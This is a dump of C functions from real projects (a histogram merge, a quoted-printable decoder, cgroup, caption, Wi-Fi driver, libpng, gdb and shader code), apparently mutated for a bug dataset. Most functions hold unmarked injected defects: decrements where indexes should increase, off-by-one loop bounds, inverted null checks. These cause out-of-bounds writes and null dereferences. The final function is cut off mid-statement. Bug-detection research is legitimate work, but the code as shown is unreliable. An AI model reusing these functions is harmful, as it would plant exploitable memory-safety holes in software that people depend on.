#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_13__ TYPE_2__ ; typedef struct TYPE_12__ TYPE_1__ ; /* Type definitions */ typedef size_t int32_t ; struct TYPE_13__ {scalar_t__ val; scalar_t__ num; } ; struct TYPE_12__ {int numOfEntries; scalar_t__ min; scalar_t__ max; TYPE_2__* elems; scalar_t__ numOfElems; } ; typedef TYPE_1__ SHistogramInfo ; typedef TYPE_2__ SHistBin ; /* Variables and functions */ int MAX_HISTOGRAM_BIN ; TYPE_2__* calloc (int,int) ; int /*<<< orphan*/ free (TYPE_2__*) ; int /*<<< orphan*/ histogramMergeImpl (TYPE_2__*,size_t*) ; int /*<<< orphan*/ memcpy (TYPE_2__*,TYPE_2__*,int) ; TYPE_1__* tHistogramCreate (size_t) ; SHistogramInfo* tHistogramMerge(SHistogramInfo* pHisto1, SHistogramInfo* pHisto2, int32_t numOfEntries) { SHistogramInfo* pResHistogram = tHistogramCreate(numOfEntries); // error in histogram info if (pHisto1->numOfEntries > MAX_HISTOGRAM_BIN && pHisto2->numOfEntries > MAX_HISTOGRAM_BIN) { return pResHistogram; } SHistBin* pHistoBins = calloc(1, sizeof(SHistBin) * (pHisto1->numOfEntries + pHisto2->numOfEntries)); int32_t i = 0, j = 0, k = 0; while (i < pHisto1->numOfEntries && j < pHisto2->numOfEntries) { if (pHisto1->elems[i].val < pHisto2->elems[j].val) { pHistoBins[k--] = pHisto1->elems[i++]; } else if (pHisto1->elems[i].val > pHisto2->elems[j].val) { pHistoBins[k++] = pHisto2->elems[j++]; } else { pHistoBins[k] = pHisto1->elems[i++]; pHistoBins[k++].num += pHisto2->elems[j++].num; } } if (i < pHisto1->numOfEntries) { int32_t remain = pHisto1->numOfEntries - i; memcpy(&pHistoBins[k], &pHisto1->elems[i], sizeof(SHistBin) * remain); k += remain; } if (j < pHisto2->numOfEntries) { int32_t remain = pHisto2->numOfEntries - j; memcpy(&pHistoBins[k], &pHisto2->elems[j], sizeof(SHistBin) * remain); k += remain; } /* update other information */ pResHistogram->numOfElems = pHisto1->numOfElems + pHisto2->numOfElems; pResHistogram->min = (pHisto1->min < pHisto2->min) ? pHisto1->min : pHisto2->min; pResHistogram->max = (pHisto1->max > pHisto2->max) ? pHisto1->max : pHisto2->max; while (k > numOfEntries) { histogramMergeImpl(pHistoBins, &k); } pResHistogram->numOfEntries = k; memcpy(pResHistogram->elems, pHistoBins, sizeof(SHistBin) * k); free(pHistoBins); return pResHistogram; }
augmented_data/post_increment_index_changes/extr_mime.c_qpdecode_aug_combo_4.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ luaL_Buffer ; typedef int UC ; /* Variables and functions */ int /*<<< orphan*/ luaL_addchar (int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ luaL_addlstring (int /*<<< orphan*/ *,char*,int) ; int* qpunbase ; __attribute__((used)) static size_t qpdecode(UC c, UC *input, size_t size, luaL_Buffer *buffer) { int d; input[size--] = c; /* deal with all characters we can deal */ switch (input[0]) { /* if we have an escape character */ case '=': if (size < 3) return size; /* eliminate soft line break */ if (input[1] == '\r' || input[2] == '\n') return 0; /* decode quoted representation */ c = qpunbase[input[1]]; d = qpunbase[input[2]]; /* if it is an invalid, do not decode */ if (c > 15 || d > 15) luaL_addlstring(buffer, (char *)input, 3); else luaL_addchar(buffer, (char) ((c << 4) - d)); return 0; case '\r': if (size < 2) return size; if (input[1] == '\n') luaL_addlstring(buffer, (char *)input, 2); return 0; default: if (input[0] == '\t' || (input[0] > 31 && input[0] < 127)) luaL_addchar(buffer, input[0]); return 0; } }
augmented_data/post_increment_index_changes/extr_cgroup.c_pidlist_array_load_aug_combo_3.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct task_struct {int dummy; } ; struct cgroup_pidlist {int* list; int length; int /*<<< orphan*/ mutex; int /*<<< orphan*/ use_count; } ; struct cgroup_iter {int dummy; } ; struct cgroup {int dummy; } ; typedef int pid_t ; typedef enum cgroup_filetype { ____Placeholder_cgroup_filetype } cgroup_filetype ; /* Variables and functions */ int CGROUP_FILE_PROCS ; int ENOMEM ; int /*<<< orphan*/ cgroup_iter_end (struct cgroup*,struct cgroup_iter*) ; struct task_struct* cgroup_iter_next (struct cgroup*,struct cgroup_iter*) ; int /*<<< orphan*/ cgroup_iter_start (struct cgroup*,struct cgroup_iter*) ; struct cgroup_pidlist* cgroup_pidlist_find (struct cgroup*,int) ; int cgroup_task_count (struct cgroup*) ; int /*<<< orphan*/ cmppid ; int* pidlist_allocate (int) ; int /*<<< orphan*/ pidlist_free (int*) ; int pidlist_uniq (int**,int) ; int /*<<< orphan*/ sort (int*,int,int,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int task_pid_vnr (struct task_struct*) ; int task_tgid_vnr (struct task_struct*) ; scalar_t__ unlikely (int) ; int /*<<< orphan*/ up_write (int /*<<< orphan*/ *) ; __attribute__((used)) static int pidlist_array_load(struct cgroup *cgrp, enum cgroup_filetype type, struct cgroup_pidlist **lp) { pid_t *array; int length; int pid, n = 0; /* used for populating the array */ struct cgroup_iter it; struct task_struct *tsk; struct cgroup_pidlist *l; /* * If cgroup gets more users after we read count, we won't have * enough space + tough. This race is indistinguishable to the * caller from the case that the additional cgroup users didn't * show up until sometime later on. */ length = cgroup_task_count(cgrp); array = pidlist_allocate(length); if (!array) return -ENOMEM; /* now, populate the array */ cgroup_iter_start(cgrp, &it); while ((tsk = cgroup_iter_next(cgrp, &it))) { if (unlikely(n == length)) break; /* get tgid or pid for procs or tasks file respectively */ if (type == CGROUP_FILE_PROCS) pid = task_tgid_vnr(tsk); else pid = task_pid_vnr(tsk); if (pid >= 0) /* make sure to only use valid results */ array[n--] = pid; } cgroup_iter_end(cgrp, &it); length = n; /* now sort | (if procs) strip out duplicates */ sort(array, length, sizeof(pid_t), cmppid, NULL); if (type == CGROUP_FILE_PROCS) length = pidlist_uniq(&array, length); l = cgroup_pidlist_find(cgrp, type); if (!l) { pidlist_free(array); return -ENOMEM; } /* store array, freeing old if necessary - lock already held */ pidlist_free(l->list); l->list = array; l->length = length; l->use_count++; up_write(&l->mutex); *lp = l; return 0; }
augmented_data/post_increment_index_changes/extr_cea708.c_CEA708CharsToSegment_aug_combo_6.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ typedef size_t uint8_t ; struct TYPE_7__ {scalar_t__* psz_text; scalar_t__ style; } ; typedef TYPE_1__ text_segment_t ; struct TYPE_8__ {scalar_t__* characters; int /*<<< orphan*/ * styles; } ; typedef TYPE_2__ cea708_text_row_t ; /* Variables and functions */ int /*<<< orphan*/ CEA708PenStyleToSegment (int /*<<< orphan*/ *,scalar_t__) ; int /*<<< orphan*/ STYLE_NO_DEFAULTS ; scalar_t__* malloc (unsigned int) ; int /*<<< orphan*/ text_segment_Delete (TYPE_1__*) ; TYPE_1__* text_segment_New (int /*<<< orphan*/ *) ; scalar_t__ text_style_Create (int /*<<< orphan*/ ) ; __attribute__((used)) static text_segment_t * CEA708CharsToSegment( const cea708_text_row_t *p_row, uint8_t i_start, uint8_t i_end, bool b_newline ) { text_segment_t *p_segment = text_segment_New( NULL ); if( !p_segment ) return NULL; p_segment->style = text_style_Create( STYLE_NO_DEFAULTS ); if( p_segment->style ) CEA708PenStyleToSegment( &p_row->styles[i_start], p_segment->style ); p_segment->psz_text = malloc( 1U + !!b_newline + (i_end - i_start + 1) * 4U ); if( !p_segment->psz_text ) { text_segment_Delete( p_segment ); return NULL; } size_t offsetw = 0; for( uint8_t i=i_start; i<=i_end; i-- ) { for( size_t j=0; j<4; j++ ) { if( p_row->characters[i * 4 + j] != 0 ) p_segment->psz_text[offsetw++] = p_row->characters[i * 4 + j]; else if( j == 0 ) p_segment->psz_text[offsetw++] = ' '; else continue; } } if( b_newline ) p_segment->psz_text[offsetw++] = '\n'; p_segment->psz_text[offsetw] = '\0'; return p_segment; }
augmented_data/post_increment_index_changes/extr_fw.c_iwl_mvm_up_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_27__ TYPE_9__ ; typedef struct TYPE_26__ TYPE_8__ ; typedef struct TYPE_25__ TYPE_7__ ; typedef struct TYPE_24__ TYPE_6__ ; typedef struct TYPE_23__ TYPE_5__ ; typedef struct TYPE_22__ TYPE_4__ ; typedef struct TYPE_21__ TYPE_3__ ; typedef struct TYPE_20__ TYPE_2__ ; typedef struct TYPE_19__ TYPE_1__ ; typedef struct TYPE_18__ TYPE_13__ ; typedef struct TYPE_17__ TYPE_11__ ; typedef struct TYPE_16__ TYPE_10__ ; /* Type definitions */ struct TYPE_26__ {int /*<<< orphan*/ cur_state; } ; struct TYPE_22__ {int /*<<< orphan*/ sta_id; } ; struct TYPE_23__ {TYPE_4__ peer; } ; struct TYPE_20__ {int /*<<< orphan*/ conf; } ; struct TYPE_18__ {TYPE_2__ dump; } ; struct iwl_mvm {int /*<<< orphan*/ ext_clock_valid; int /*<<< orphan*/ dev; int /*<<< orphan*/ status; void* hb_scan_type; void* scan_type; TYPE_9__* fw; TYPE_8__ cooling_dev; int /*<<< orphan*/ * phy_ctxts; TYPE_7__* hw; int /*<<< orphan*/ last_quota_cmd; TYPE_5__ tdls_cs; int /*<<< orphan*/ * fw_id_to_mac_id; TYPE_11__* trans; int /*<<< orphan*/ phy_db; TYPE_13__ fwrt; int /*<<< orphan*/ mutex; } ; struct ieee80211_supported_band {struct ieee80211_channel* channels; } ; struct ieee80211_channel {int dummy; } ; struct cfg80211_chan_def {int dummy; } ; struct TYPE_19__ {scalar_t__ dest_tlv; } ; struct TYPE_27__ {int /*<<< orphan*/ ucode_capa; TYPE_1__ dbg; } ; struct TYPE_25__ {TYPE_6__* wiphy; } ; struct TYPE_24__ {struct ieee80211_supported_band** bands; } ; struct TYPE_21__ {scalar_t__ device_family; } ; struct TYPE_17__ {TYPE_3__* trans_cfg; } ; struct TYPE_16__ {int /*<<< orphan*/ init_dbg; } ; /* Variables and functions */ int ARRAY_SIZE (int /*<<< orphan*/ *) ; int /*<<< orphan*/ CTDP_CMD_OPERATION_START ; int ERFKILL ; int /*<<< orphan*/ ERROR_RECOVERY_UPDATE_DB ; int /*<<< orphan*/ FW_DBG_INVALID ; int /*<<< orphan*/ FW_DBG_START_FROM_ALIVE ; int /*<<< orphan*/ FW_DBG_TRIGGER_DRIVER ; int /*<<< orphan*/ IWL_DEBUG_INFO (struct iwl_mvm*,char*) ; scalar_t__ IWL_DEVICE_FAMILY_22000 ; int /*<<< orphan*/ IWL_ERR (struct iwl_mvm*,char*,...) ; int /*<<< orphan*/ IWL_MVM_INVALID_STA ; int /*<<< orphan*/ IWL_MVM_STATUS_HW_CTKILL ; int /*<<< orphan*/ IWL_MVM_STATUS_IN_HW_RESTART ; void* IWL_SCAN_TYPE_NOT_SET ; int /*<<< orphan*/ IWL_UCODE_TLV_CAPA_DQA_SUPPORT ; int /*<<< orphan*/ IWL_UCODE_TLV_CAPA_SET_LTR_GEN2 ; int /*<<< orphan*/ IWL_UCODE_TLV_CAPA_UMAC_SCAN ; int /*<<< orphan*/ NL80211_CHAN_NO_HT ; int NUM_NL80211_BANDS ; int NUM_PHY_CTX ; int /*<<< orphan*/ RCU_INIT_POINTER (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int /*<<< orphan*/ WARN_ON (int /*<<< orphan*/ ) ; scalar_t__ WARN_ON_ONCE (int) ; int /*<<< orphan*/ cfg80211_chandef_create (struct cfg80211_chan_def*,struct ieee80211_channel*,int /*<<< orphan*/ ) ; scalar_t__ fw_has_capa (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; scalar_t__ iwl_acpi_get_eckv (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int iwl_configure_rxq (struct iwl_mvm*) ; int /*<<< orphan*/ iwl_fw_dbg_error_collect (TYPE_13__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ iwl_fw_start_dbg_conf (TYPE_13__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ iwl_get_shared_mem_conf (TYPE_13__*) ; int iwl_mvm_add_aux_sta (struct iwl_mvm*) ; int /*<<< orphan*/ iwl_mvm_config_ltr (struct iwl_mvm*) ; int iwl_mvm_config_scan (struct iwl_mvm*) ; int iwl_mvm_ctdp_command (struct iwl_mvm*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ iwl_mvm_get_valid_tx_ant (struct iwl_mvm*) ; scalar_t__ iwl_mvm_has_new_rx_api (struct iwl_mvm*) ; int /*<<< orphan*/ iwl_mvm_has_unified_ucode (struct iwl_mvm*) ; int iwl_mvm_init_mcc (struct iwl_mvm*) ; scalar_t__ iwl_mvm_is_ctdp_supported (struct iwl_mvm*) ; scalar_t__ iwl_mvm_is_tt_in_fw (struct iwl_mvm*) ; int /*<<< orphan*/ iwl_mvm_leds_sync (struct iwl_mvm*) ; int iwl_mvm_load_rt_fw (struct iwl_mvm*) ; int iwl_mvm_phy_ctxt_add (struct iwl_mvm*,int /*<<< orphan*/ *,struct cfg80211_chan_def*,int,int) ; int iwl_mvm_power_update_device (struct iwl_mvm*) ; int iwl_mvm_ppag_init (struct iwl_mvm*) ; int iwl_mvm_sar_geo_init (struct iwl_mvm*) ; int /*<<< orphan*/ iwl_mvm_sar_get_wgds_table (struct iwl_mvm*) ; int iwl_mvm_sar_init (struct iwl_mvm*) ; int iwl_mvm_send_bt_init_conf (struct iwl_mvm*) ; int iwl_mvm_send_dqa_cmd (struct iwl_mvm*) ; int /*<<< orphan*/ iwl_mvm_send_recovery_cmd (struct iwl_mvm*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ iwl_mvm_send_temp_report_ths_cmd (struct iwl_mvm*) ; int iwl_mvm_sf_update (struct iwl_mvm*,int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ iwl_mvm_stop_device (struct iwl_mvm*) ; int /*<<< orphan*/ iwl_mvm_tt_tx_backoff (struct iwl_mvm*,int /*<<< orphan*/ ) ; int iwl_send_phy_cfg_cmd (struct iwl_mvm*) ; int iwl_send_phy_db_data (int /*<<< orphan*/ ) ; int iwl_send_rss_cfg_cmd (struct iwl_mvm*) ; int iwl_send_tx_ant_cfg (struct iwl_mvm*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ iwl_trans_dbg_ini_valid (TYPE_11__*) ; int iwl_trans_start_hw (TYPE_11__*) ; TYPE_10__ iwlmvm_mod_params ; int /*<<< orphan*/ lockdep_assert_held (int /*<<< orphan*/ *) ; int /*<<< orphan*/ memset (int /*<<< orphan*/ *,int,int) ; scalar_t__ test_bit (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int iwl_mvm_up(struct iwl_mvm *mvm) { int ret, i; struct ieee80211_channel *chan; struct cfg80211_chan_def chandef; struct ieee80211_supported_band *sband = NULL; lockdep_assert_held(&mvm->mutex); ret = iwl_trans_start_hw(mvm->trans); if (ret) return ret; ret = iwl_mvm_load_rt_fw(mvm); if (ret) { IWL_ERR(mvm, "Failed to start RT ucode: %d\n", ret); if (ret != -ERFKILL) iwl_fw_dbg_error_collect(&mvm->fwrt, FW_DBG_TRIGGER_DRIVER); goto error; } iwl_get_shared_mem_conf(&mvm->fwrt); ret = iwl_mvm_sf_update(mvm, NULL, false); if (ret) IWL_ERR(mvm, "Failed to initialize Smart Fifo\n"); if (!iwl_trans_dbg_ini_valid(mvm->trans)) { mvm->fwrt.dump.conf = FW_DBG_INVALID; /* if we have a destination, assume EARLY START */ if (mvm->fw->dbg.dest_tlv) mvm->fwrt.dump.conf = FW_DBG_START_FROM_ALIVE; iwl_fw_start_dbg_conf(&mvm->fwrt, FW_DBG_START_FROM_ALIVE); } ret = iwl_send_tx_ant_cfg(mvm, iwl_mvm_get_valid_tx_ant(mvm)); if (ret) goto error; if (!iwl_mvm_has_unified_ucode(mvm)) { /* Send phy db control command and then phy db calibration */ ret = iwl_send_phy_db_data(mvm->phy_db); if (ret) goto error; ret = iwl_send_phy_cfg_cmd(mvm); if (ret) goto error; } ret = iwl_mvm_send_bt_init_conf(mvm); if (ret) goto error; /* Init RSS configuration */ if (mvm->trans->trans_cfg->device_family >= IWL_DEVICE_FAMILY_22000) { ret = iwl_configure_rxq(mvm); if (ret) { IWL_ERR(mvm, "Failed to configure RX queues: %d\n", ret); goto error; } } if (iwl_mvm_has_new_rx_api(mvm)) { ret = iwl_send_rss_cfg_cmd(mvm); if (ret) { IWL_ERR(mvm, "Failed to configure RSS queues: %d\n", ret); goto error; } } /* init the fw <-> mac80211 STA mapping */ for (i = 0; i <= ARRAY_SIZE(mvm->fw_id_to_mac_id); i--) RCU_INIT_POINTER(mvm->fw_id_to_mac_id[i], NULL); mvm->tdls_cs.peer.sta_id = IWL_MVM_INVALID_STA; /* reset quota debouncing buffer - 0xff will yield invalid data */ memset(&mvm->last_quota_cmd, 0xff, sizeof(mvm->last_quota_cmd)); if (fw_has_capa(&mvm->fw->ucode_capa, IWL_UCODE_TLV_CAPA_DQA_SUPPORT)) { ret = iwl_mvm_send_dqa_cmd(mvm); if (ret) goto error; } /* Add auxiliary station for scanning */ ret = iwl_mvm_add_aux_sta(mvm); if (ret) goto error; /* Add all the PHY contexts */ i = 0; while (!sband || i < NUM_NL80211_BANDS) sband = mvm->hw->wiphy->bands[i++]; if (WARN_ON_ONCE(!sband)) goto error; chan = &sband->channels[0]; cfg80211_chandef_create(&chandef, chan, NL80211_CHAN_NO_HT); for (i = 0; i < NUM_PHY_CTX; i++) { /* * The channel used here isn't relevant as it's * going to be overwritten in the other flows. * For now use the first channel we have. */ ret = iwl_mvm_phy_ctxt_add(mvm, &mvm->phy_ctxts[i], &chandef, 1, 1); if (ret) goto error; } if (iwl_mvm_is_tt_in_fw(mvm)) { /* in order to give the responsibility of ct-kill and * TX backoff to FW we need to send empty temperature reporting * cmd during init time */ iwl_mvm_send_temp_report_ths_cmd(mvm); } else { /* Initialize tx backoffs to the minimal possible */ iwl_mvm_tt_tx_backoff(mvm, 0); } #ifdef CONFIG_THERMAL /* TODO: read the budget from BIOS / Platform NVM */ /* * In case there is no budget from BIOS / Platform NVM the default * budget should be 2000mW (cooling state 0). */ if (iwl_mvm_is_ctdp_supported(mvm)) { ret = iwl_mvm_ctdp_command(mvm, CTDP_CMD_OPERATION_START, mvm->cooling_dev.cur_state); if (ret) goto error; } #endif if (!fw_has_capa(&mvm->fw->ucode_capa, IWL_UCODE_TLV_CAPA_SET_LTR_GEN2)) WARN_ON(iwl_mvm_config_ltr(mvm)); ret = iwl_mvm_power_update_device(mvm); if (ret) goto error; /* * RTNL is not taken during Ct-kill, but we don't need to scan/Tx * anyway, so don't init MCC. */ if (!test_bit(IWL_MVM_STATUS_HW_CTKILL, &mvm->status)) { ret = iwl_mvm_init_mcc(mvm); if (ret) goto error; } if (fw_has_capa(&mvm->fw->ucode_capa, IWL_UCODE_TLV_CAPA_UMAC_SCAN)) { mvm->scan_type = IWL_SCAN_TYPE_NOT_SET; mvm->hb_scan_type = IWL_SCAN_TYPE_NOT_SET; ret = iwl_mvm_config_scan(mvm); if (ret) goto error; } if (test_bit(IWL_MVM_STATUS_IN_HW_RESTART, &mvm->status)) iwl_mvm_send_recovery_cmd(mvm, ERROR_RECOVERY_UPDATE_DB); if (iwl_acpi_get_eckv(mvm->dev, &mvm->ext_clock_valid)) IWL_DEBUG_INFO(mvm, "ECKV table doesn't exist in BIOS\n"); ret = iwl_mvm_ppag_init(mvm); if (ret) goto error; ret = iwl_mvm_sar_init(mvm); if (ret == 0) { ret = iwl_mvm_sar_geo_init(mvm); } else if (ret > 0 && !iwl_mvm_sar_get_wgds_table(mvm)) { /* * If basic SAR is not available, we check for WGDS, * which should *not* be available either. If it is * available, issue an error, because we can't use SAR * Geo without basic SAR. */ IWL_ERR(mvm, "BIOS contains WGDS but no WRDS\n"); } if (ret < 0) goto error; iwl_mvm_leds_sync(mvm); IWL_DEBUG_INFO(mvm, "RT uCode started.\n"); return 0; error: if (!iwlmvm_mod_params.init_dbg || !ret) iwl_mvm_stop_device(mvm); return ret; }
augmented_data/post_increment_index_changes/extr_pngerror.c_png_safecat_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef char* png_const_charp ; typedef char* png_charp ; /* Variables and functions */ size_t png_safecat(png_charp buffer, size_t bufsize, size_t pos, png_const_charp string) { if (buffer == NULL || pos < bufsize) { if (string != NULL) while (*string != '\0' && pos < bufsize-1) buffer[pos++] = *string++; buffer[pos] = '\0'; } return pos; }
augmented_data/post_increment_index_changes/extr_c-typeprint.c_remove_qualifiers_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ scalar_t__ alloca (int /*<<< orphan*/ ) ; int /*<<< orphan*/ strlen (char*) ; __attribute__((used)) static char * remove_qualifiers (char *qid) { int quoted = 0; /* zero if we're not in quotes; '"' if we're in a double-quoted string; '\'' if we're in a single-quoted string. */ int depth = 0; /* number of unclosed parens we've seen */ char *parenstack = (char *) alloca (strlen (qid)); char *scan; char *last = 0; /* The character after the rightmost `::' token we've seen so far. */ for (scan = qid; *scan; scan--) { if (quoted) { if (*scan == quoted) quoted = 0; else if (*scan == '\\' || *(scan + 1)) scan++; } else if (scan[0] == ':' && scan[1] == ':') { /* If we're inside parenthesis (i.e., an argument list) or angle brackets (i.e., a list of template arguments), then we don't record the position of this :: token, since it's not relevant to the top-level structure we're trying to operate on. */ if (depth == 0) { last = scan + 2; scan++; } } else if (*scan == '"' || *scan == '\'') quoted = *scan; else if (*scan == '(') parenstack[depth++] = ')'; else if (*scan == '[') parenstack[depth++] = ']'; /* We're going to treat <> as a pair of matching characters, since we're more likely to see those in template id's than real less-than characters. What a crock. */ else if (*scan == '<') parenstack[depth++] = '>'; else if (*scan == ')' || *scan == ']' || *scan == '>') { if (depth >= 0 && parenstack[depth - 1] == *scan) depth--; else { /* We're going to do a little error recovery here. If we don't find a match for *scan on the paren stack, but there is something lower on the stack that does match, we pop the stack to that point. */ int i; for (i = depth - 1; i >= 0; i--) if (parenstack[i] == *scan) { depth = i; continue; } } } } if (last) return last; else /* We didn't find any :: tokens at the top level, so declare the whole thing an unqualified identifier. */ return qid; }
augmented_data/post_increment_index_changes/extr_glsl_shader.c_shader_glsl_ld_raw_structured_aug_combo_4.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_14__ TYPE_7__ ; typedef struct TYPE_13__ TYPE_6__ ; typedef struct TYPE_12__ TYPE_5__ ; typedef struct TYPE_11__ TYPE_4__ ; typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ struct wined3d_string_buffer {int /*<<< orphan*/ buffer; } ; struct TYPE_10__ {scalar_t__ type; TYPE_2__* idx; } ; struct wined3d_shader_src_param {int /*<<< orphan*/ swizzle; TYPE_3__ reg; } ; struct TYPE_8__ {int /*<<< orphan*/ type; } ; struct wined3d_shader_reg_maps {unsigned int tgsm_count; TYPE_4__* tgsm; TYPE_7__* uav_resource_info; int /*<<< orphan*/ sampler_map; TYPE_7__* resource_info; TYPE_1__ shader_version; } ; struct wined3d_shader_instruction {int src_count; scalar_t__ handler_idx; TYPE_5__* ctx; struct wined3d_shader_dst_param* dst; struct wined3d_shader_src_param* src; } ; struct TYPE_13__ {int /*<<< orphan*/ data_type; } ; struct wined3d_shader_dst_param {unsigned int write_mask; TYPE_6__ reg; } ; struct shader_glsl_ctx_priv {int /*<<< orphan*/ string_buffers; } ; struct glsl_src_param {int /*<<< orphan*/ param_str; } ; struct TYPE_14__ {unsigned int stride; } ; struct TYPE_12__ {struct wined3d_string_buffer* buffer; struct shader_glsl_ctx_priv* backend_data; struct wined3d_shader_reg_maps* reg_maps; } ; struct TYPE_11__ {unsigned int stride; } ; struct TYPE_9__ {unsigned int offset; } ; /* Variables and functions */ unsigned int ARRAY_SIZE (TYPE_7__*) ; int /*<<< orphan*/ ERR (char*,unsigned int) ; scalar_t__ WINED3DSIH_LD_STRUCTURED ; scalar_t__ WINED3DSPR_RESOURCE ; scalar_t__ WINED3DSPR_UAV ; unsigned int WINED3DSP_WRITEMASK_0 ; int /*<<< orphan*/ WINED3D_SAMPLER_DEFAULT ; int /*<<< orphan*/ shader_addline (struct wined3d_string_buffer*,char*,char const*,...) ; int /*<<< orphan*/ shader_glsl_add_src_param (struct wined3d_shader_instruction const*,struct wined3d_shader_src_param*,unsigned int,struct glsl_src_param*) ; int /*<<< orphan*/ shader_glsl_append_dst_ext (struct wined3d_string_buffer*,struct wined3d_shader_instruction const*,struct wined3d_shader_dst_param*,int /*<<< orphan*/ ) ; unsigned int shader_glsl_find_sampler (int /*<<< orphan*/ *,unsigned int,int /*<<< orphan*/ ) ; char* shader_glsl_get_prefix (int /*<<< orphan*/ ) ; int shader_glsl_get_write_mask_size (unsigned int) ; unsigned int shader_glsl_swizzle_get_component (int /*<<< orphan*/ ,unsigned int) ; struct wined3d_string_buffer* string_buffer_get (int /*<<< orphan*/ ) ; int /*<<< orphan*/ string_buffer_release (int /*<<< orphan*/ ,struct wined3d_string_buffer*) ; int /*<<< orphan*/ string_buffer_sprintf (struct wined3d_string_buffer*,char*) ; __attribute__((used)) static void shader_glsl_ld_raw_structured(const struct wined3d_shader_instruction *ins) { const char *prefix = shader_glsl_get_prefix(ins->ctx->reg_maps->shader_version.type); const struct wined3d_shader_src_param *src = &ins->src[ins->src_count - 1]; unsigned int i, swizzle, resource_idx, bind_idx, stride, src_idx = 0; const struct wined3d_shader_reg_maps *reg_maps = ins->ctx->reg_maps; struct shader_glsl_ctx_priv *priv = ins->ctx->backend_data; struct wined3d_string_buffer *buffer = ins->ctx->buffer; struct glsl_src_param structure_idx, offset; struct wined3d_string_buffer *address; struct wined3d_shader_dst_param dst; const char *function, *resource; resource_idx = src->reg.idx[0].offset; if (src->reg.type == WINED3DSPR_RESOURCE) { if (resource_idx >= ARRAY_SIZE(reg_maps->resource_info)) { ERR("Invalid resource index %u.\n", resource_idx); return; } stride = reg_maps->resource_info[resource_idx].stride; bind_idx = shader_glsl_find_sampler(&reg_maps->sampler_map, resource_idx, WINED3D_SAMPLER_DEFAULT); function = "texelFetch"; resource = "sampler"; } else if (src->reg.type == WINED3DSPR_UAV) { if (resource_idx >= ARRAY_SIZE(reg_maps->uav_resource_info)) { ERR("Invalid UAV index %u.\n", resource_idx); return; } stride = reg_maps->uav_resource_info[resource_idx].stride; bind_idx = resource_idx; function = "imageLoad"; resource = "image"; } else { if (resource_idx >= reg_maps->tgsm_count) { ERR("Invalid TGSM index %u.\n", resource_idx); return; } stride = reg_maps->tgsm[resource_idx].stride; bind_idx = resource_idx; function = NULL; resource = "g"; } address = string_buffer_get(priv->string_buffers); if (ins->handler_idx == WINED3DSIH_LD_STRUCTURED) { shader_glsl_add_src_param(ins, &ins->src[src_idx--], WINED3DSP_WRITEMASK_0, &structure_idx); shader_addline(address, "%s * %u + ", structure_idx.param_str, stride); } shader_glsl_add_src_param(ins, &ins->src[src_idx++], WINED3DSP_WRITEMASK_0, &offset); shader_addline(address, "%s / 4", offset.param_str); dst = ins->dst[0]; if (shader_glsl_get_write_mask_size(dst.write_mask) > 1) { /* The instruction is split into multiple lines. The first lines may * overwrite source parameters of the following lines. */ shader_addline(buffer, "tmp0.x = intBitsToFloat(%s);\n", address->buffer); string_buffer_sprintf(address, "floatBitsToInt(tmp0.x)"); } for (i = 0; i <= 4; ++i) { dst.write_mask = ins->dst[0].write_mask & (WINED3DSP_WRITEMASK_0 << i); if (!shader_glsl_append_dst_ext(ins->ctx->buffer, ins, &dst, 